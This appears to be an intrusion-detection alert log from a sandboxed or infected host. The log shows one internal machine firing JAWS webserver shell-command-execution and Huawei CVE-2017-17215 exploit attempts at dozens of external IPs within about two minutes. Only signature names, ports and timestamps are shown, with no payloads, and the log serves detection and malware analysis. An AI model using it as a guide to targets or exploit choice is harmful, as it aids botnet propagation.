Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.217.17.62

Timestamp:	192.168.2.2352.217.17.6250592802030092 07/11/22-01:02:23.511028
SID:	2030092
Source Port:	50592
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 85.133.85.176

Timestamp:	192.168.2.2385.133.85.17633310802030092 07/11/22-01:03:15.080276
SID:	2030092
Source Port:	33310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.79.78.48

Timestamp:	192.168.2.2341.79.78.4841478802030092 07/11/22-01:02:35.132918
SID:	2030092
Source Port:	41478
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.120.0.44

Timestamp:	192.168.2.2351.120.0.4443548802030092 07/11/22-01:03:03.963009
SID:	2030092
Source Port:	43548
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 138.100.132.223

Timestamp:	192.168.2.23138.100.132.22358840802030092 07/11/22-01:04:05.769574
SID:	2030092
Source Port:	58840
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.71.82.183

Timestamp:	192.168.2.23104.71.82.18339038802030092 07/11/22-01:03:40.791958
SID:	2030092
Source Port:	39038
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 79.96.18.213

Timestamp:	192.168.2.2379.96.18.21358908802030092 07/11/22-01:02:36.178405
SID:	2030092
Source Port:	58908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.21.28.158

Timestamp:	192.168.2.232.21.28.15837274802030092 07/11/22-01:03:53.128206
SID:	2030092
Source Port:	37274
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 68.183.236.75

Timestamp:	192.168.2.2368.183.236.7533872802030092 07/11/22-01:03:24.067631
SID:	2030092
Source Port:	33872
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.224.119.4

Timestamp:	192.168.2.23172.224.119.446806802030092 07/11/22-01:04:14.295440
SID:	2030092
Source Port:	46806
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.241.15.84

Timestamp:	192.168.2.23156.241.15.8446568372152835222 07/11/22-01:02:20.053555
SID:	2835222
Source Port:	46568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 120.59.25.114

Timestamp:	192.168.2.23120.59.25.11449666802030092 07/11/22-01:04:01.513484
SID:	2030092
Source Port:	49666
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 61.175.6.114

Timestamp:	192.168.2.2361.175.6.11437858802030092 07/11/22-01:04:14.533162
SID:	2030092
Source Port:	37858
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.102.41.230

Timestamp:	192.168.2.23191.102.41.23040806802030092 07/11/22-01:02:35.540917
SID:	2030092
Source Port:	40806
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.114.206

Timestamp:	192.168.2.23156.226.114.20656234372152835222 07/11/22-01:03:26.265481
SID:	2835222
Source Port:	56234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.156.88.196

Timestamp:	192.168.2.23108.156.88.19635976802030092 07/11/22-01:02:19.973642
SID:	2030092
Source Port:	35976
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.151.113.230

Timestamp:	192.168.2.23107.151.113.23045386802030092 07/11/22-01:03:10.199398
SID:	2030092
Source Port:	45386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.38.56.48

Timestamp:	192.168.2.2323.38.56.4842494802030092 07/11/22-01:04:10.706218
SID:	2030092
Source Port:	42494
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.31.85.85

Timestamp:	192.168.2.23184.31.85.8540978802030092 07/11/22-01:03:32.992795
SID:	2030092
Source Port:	40978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.228.69

Timestamp:	192.168.2.2323.192.228.6937202802030092 07/11/22-01:03:50.378541
SID:	2030092
Source Port:	37202
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.162.128.90

Timestamp:	192.168.2.23108.162.128.9037980802030092 07/11/22-01:03:19.162993
SID:	2030092
Source Port:	37980
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.64.149.111

Timestamp:	192.168.2.23172.64.149.11140368802030092 07/11/22-01:03:23.566906
SID:	2030092
Source Port:	40368
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.11.160.30

Timestamp:	192.168.2.2323.11.160.3051958802030092 07/11/22-01:02:30.669242
SID:	2030092
Source Port:	51958
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 31.7.5.2

Timestamp:	192.168.2.2331.7.5.240706802030092 07/11/22-01:02:35.342150
SID:	2030092
Source Port:	40706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.113.242.181

Timestamp:	192.168.2.23104.113.242.18150890802030092 07/11/22-01:03:00.731662
SID:	2030092
Source Port:	50890
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.165.54.224

Timestamp:	192.168.2.23102.165.54.22442102802030092 07/11/22-01:03:47.086196
SID:	2030092
Source Port:	42102
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.226.58.95

Timestamp:	192.168.2.23156.226.58.9543892372152835222 07/11/22-01:03:42.831108
SID:	2835222
Source Port:	43892
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.244.74.93

Timestamp:	192.168.2.23156.244.74.9345238372152835222 07/11/22-01:02:22.902240
SID:	2835222
Source Port:	45238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 196.216.89.136

Timestamp:	192.168.2.23196.216.89.13645948802030092 07/11/22-01:03:09.703905
SID:	2030092
Source Port:	45948
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.28.123.232

Timestamp:	192.168.2.23184.28.123.23256652802030092 07/11/22-01:03:16.574066
SID:	2030092
Source Port:	56652
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.210.140.74

Timestamp:	192.168.2.2323.210.140.7437786802030092 07/11/22-01:03:34.277386
SID:	2030092
Source Port:	37786
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.248.140

Timestamp:	192.168.2.23104.86.248.14058072802030092 07/11/22-01:04:12.262838
SID:	2030092
Source Port:	58072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.217.15.174

Timestamp:	192.168.2.2323.217.15.17457472802030092 07/11/22-01:03:56.446069
SID:	2030092
Source Port:	57472
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.37.147.107

Timestamp:	192.168.2.2323.37.147.10752770802030092 07/11/22-01:03:02.482802
SID:	2030092
Source Port:	52770
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.111.54.126

Timestamp:	192.168.2.23104.111.54.12654146802030092 07/11/22-01:03:57.306579
SID:	2030092
Source Port:	54146
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 185.137.234.177

Timestamp:	192.168.2.23185.137.234.17757888802030092 07/11/22-01:02:45.878637
SID:	2030092
Source Port:	57888
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.58.110.58

Timestamp:	192.168.2.2313.58.110.5843752802030092 07/11/22-01:02:20.517019
SID:	2030092
Source Port:	43752
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 208.113.244.231

Timestamp:	192.168.2.23208.113.244.23150570802030092 07/11/22-01:02:44.168735
SID:	2030092
Source Port:	50570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 194.195.40.112

Timestamp:	192.168.2.23194.195.40.11248386802030092 07/11/22-01:02:45.246256
SID:	2030092
Source Port:	48386
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 143.95.71.34

Timestamp:	192.168.2.23143.95.71.3442342802030092 07/11/22-01:02:35.063065
SID:	2030092
Source Port:	42342
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 107.165.29.236

Timestamp:	192.168.2.23107.165.29.23660856802030092 07/11/22-01:03:16.284805
SID:	2030092
Source Port:	60856
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.100.108

Timestamp:	192.168.2.23156.250.100.10839186372152835222 07/11/22-01:03:59.388349
SID:	2835222
Source Port:	39186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 101.133.203.219

Timestamp:	192.168.2.23101.133.203.21946108802030092 07/11/22-01:03:00.637789
SID:	2030092
Source Port:	46108
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 192.71.142.114

Timestamp:	192.168.2.23192.71.142.11441774802030092 07/11/22-01:02:13.728204
SID:	2030092
Source Port:	41774
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 147.53.222.219

Timestamp:	192.168.2.23147.53.222.21934404802030092 07/11/22-01:03:20.639816
SID:	2030092
Source Port:	34404
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.23.42

Timestamp:	192.168.2.23156.224.23.4237008372152835222 07/11/22-01:03:50.208004
SID:	2835222
Source Port:	37008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.15.147

Timestamp:	192.168.2.23156.238.15.14750906372152835222 07/11/22-01:03:15.323664
SID:	2835222
Source Port:	50906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.250.92.201

Timestamp:	192.168.2.23104.250.92.20150120802030092 07/11/22-01:04:00.695077
SID:	2030092
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 52.43.131.116

Timestamp:	192.168.2.2352.43.131.11635954802030092 07/11/22-01:02:57.963957
SID:	2030092
Source Port:	35954
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 184.27.164.19

Timestamp:	192.168.2.23184.27.164.1944172802030092 07/11/22-01:03:10.595765
SID:	2030092
Source Port:	44172
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.141.82.145

Timestamp:	192.168.2.2351.141.82.14553318802030092 07/11/22-01:03:26.939682
SID:	2030092
Source Port:	53318
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 151.224.81.135

Timestamp:	192.168.2.23151.224.81.13558762802030092 07/11/22-01:03:46.022996
SID:	2030092
Source Port:	58762
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.125.38.89

Timestamp:	192.168.2.23104.125.38.8947562802030092 07/11/22-01:03:21.204914
SID:	2030092
Source Port:	47562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.91.18.82

Timestamp:	192.168.2.23104.91.18.8244868802030092 07/11/22-01:02:46.019365
SID:	2030092
Source Port:	44868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.135.195.227

Timestamp:	192.168.2.2345.135.195.22735360802030092 07/11/22-01:03:37.253083
SID:	2030092
Source Port:	35360
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.250.101.236

Timestamp:	192.168.2.23156.250.101.23637688372152835222 07/11/22-01:03:39.934324
SID:	2835222
Source Port:	37688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.15.10.62

Timestamp:	192.168.2.231.15.10.6238364802030092 07/11/22-01:04:03.397796
SID:	2030092
Source Port:	38364
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 43.132.140.112

Timestamp:	192.168.2.2343.132.140.11249312802030092 07/11/22-01:03:37.157834
SID:	2030092
Source Port:	49312
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.35.205.182

Timestamp:	192.168.2.2313.35.205.18257438802030092 07/11/22-01:04:06.401396
SID:	2030092
Source Port:	57438
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.238.47.71

Timestamp:	192.168.2.23156.238.47.7136236372152835222 07/11/22-01:02:24.580267
SID:	2835222
Source Port:	36236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 186.68.101.97

Timestamp:	192.168.2.23186.68.101.9748468802030092 07/11/22-01:02:33.890574
SID:	2030092
Source Port:	48468
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.86.210.143

Timestamp:	192.168.2.23104.86.210.14358246802030092 07/11/22-01:04:04.275865
SID:	2030092
Source Port:	58246
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 35.241.129.134

Timestamp:	192.168.2.2335.241.129.13448676802030092 07/11/22-01:02:17.066559
SID:	2030092
Source Port:	48676
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.109.248.141

Timestamp:	192.168.2.2323.109.248.14133294802030092 07/11/22-01:02:45.020032
SID:	2030092
Source Port:	33294
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 183.232.185.156

Timestamp:	192.168.2.23183.232.185.15646004802030092 07/11/22-01:03:56.525818
SID:	2030092
Source Port:	46004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 209.78.2.136

Timestamp:	192.168.2.23209.78.2.13637990802030092 07/11/22-01:04:04.151187
SID:	2030092
Source Port:	37990
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.52.148.229

Timestamp:	192.168.2.2377.52.148.22942400802030092 07/11/22-01:03:01.375542
SID:	2030092
Source Port:	42400
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 1.34.122.126

Timestamp:	192.168.2.231.34.122.12643036802030092 07/11/22-01:03:47.338895
SID:	2030092
Source Port:	43036
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 2.23.36.245

Timestamp:	192.168.2.232.23.36.24544136802030092 07/11/22-01:03:26.978127
SID:	2030092
Source Port:	44136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 18.185.229.73

Timestamp:	192.168.2.2318.185.229.7338884802030092 07/11/22-01:03:55.033942
SID:	2030092
Source Port:	38884
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 220.135.66.178

Timestamp:	192.168.2.23220.135.66.17849638802030092 07/11/22-01:03:24.048806
SID:	2030092
Source Port:	49638
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 102.66.147.143

Timestamp:	192.168.2.23102.66.147.14352366802030092 07/11/22-01:02:54.021706
SID:	2030092
Source Port:	52366
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 195.178.121.179

Timestamp:	192.168.2.23195.178.121.17945764802030092 07/11/22-01:03:10.044754
SID:	2030092
Source Port:	45764
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 54.211.240.95

Timestamp:	192.168.2.2354.211.240.9546320802030092 07/11/22-01:02:38.260077
SID:	2030092
Source Port:	46320
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 99.84.78.247

Timestamp:	192.168.2.2399.84.78.24741678802030092 07/11/22-01:02:20.563595
SID:	2030092
Source Port:	41678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 45.130.230.147

Timestamp:	192.168.2.2345.130.230.14744232802030092 07/11/22-01:03:15.321657
SID:	2030092
Source Port:	44232
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 218.247.68.27

Timestamp:	192.168.2.23218.247.68.2759458802030092 07/11/22-01:03:06.914597
SID:	2030092
Source Port:	59458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 163.191.7.190

Timestamp:	192.168.2.23163.191.7.19041168802030092 07/11/22-01:03:55.303615
SID:	2030092
Source Port:	41168
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.43.147.129

Timestamp:	192.168.2.2323.43.147.12955066802030092 07/11/22-01:03:55.681017
SID:	2030092
Source Port:	55066
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 148.101.87.55

Timestamp:	192.168.2.23148.101.87.5555628802030092 07/11/22-01:03:51.097232
SID:	2030092
Source Port:	55628
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 47.93.46.23

Timestamp:	192.168.2.2347.93.46.2335110802030092 07/11/22-01:02:20.308518
SID:	2030092
Source Port:	35110
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 95.216.228.15

Timestamp:	192.168.2.2395.216.228.1554336802030092 07/11/22-01:02:16.170505
SID:	2030092
Source Port:	54336
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.224.27.138

Timestamp:	192.168.2.23156.224.27.13844128372152835222 07/11/22-01:03:28.784161
SID:	2835222
Source Port:	44128
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.93.186.138

Timestamp:	192.168.2.23154.93.186.13852768802030092 07/11/22-01:03:24.358010
SID:	2030092
Source Port:	52768
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 198.175.26.76

Timestamp:	192.168.2.23198.175.26.7650458802030092 07/11/22-01:02:44.987422
SID:	2030092
Source Port:	50458
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 65.52.141.163

Timestamp:	192.168.2.2365.52.141.16339570802030092 07/11/22-01:03:36.924095
SID:	2030092
Source Port:	39570
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.253.213.200

Timestamp:	192.168.2.23104.253.213.20047822802030092 07/11/22-01:02:38.830542
SID:	2030092
Source Port:	47822
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.192.165.81

Timestamp:	192.168.2.2323.192.165.8139704802030092 07/11/22-01:03:12.389887
SID:	2030092
Source Port:	39704
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 23.61.176.103

Timestamp:	192.168.2.2323.61.176.10351938802030092 07/11/22-01:02:16.275549
SID:	2030092
Source Port:	51938
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 156.253.70.91

Timestamp:	192.168.2.23156.253.70.9159626802030092 07/11/22-01:02:35.116378
SID:	2030092
Source Port:	59626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.241.74.251

Timestamp:	192.168.2.23172.241.74.25154398802030092 07/11/22-01:02:32.359785
SID:	2030092
Source Port:	54398
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 46.101.228.194

Timestamp:	192.168.2.2346.101.228.19444162802030092 07/11/22-01:03:09.475185
SID:	2030092
Source Port:	44162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 13.32.15.252

Timestamp:	192.168.2.2313.32.15.25249310802030092 07/11/22-01:02:46.839550
SID:	2030092
Source Port:	49310
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 154.16.163.195

Timestamp:	192.168.2.23154.16.163.19537450802030092 07/11/22-01:02:33.588312
SID:	2030092
Source Port:	37450
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 77.55.151.178

Timestamp:	192.168.2.2377.55.151.17858796802030092 07/11/22-01:02:54.070843
SID:	2030092
Source Port:	58796
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 75.158.105.202

Timestamp:	192.168.2.2375.158.105.20246004802030092 07/11/22-01:02:32.513732
SID:	2030092
Source Port:	46004
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 191.61.243.239

Timestamp:	192.168.2.23191.61.243.23947724802030092 07/11/22-01:02:25.485552
SID:	2030092
Source Port:	47724
Destination Port:	80
Protocol:	TCP
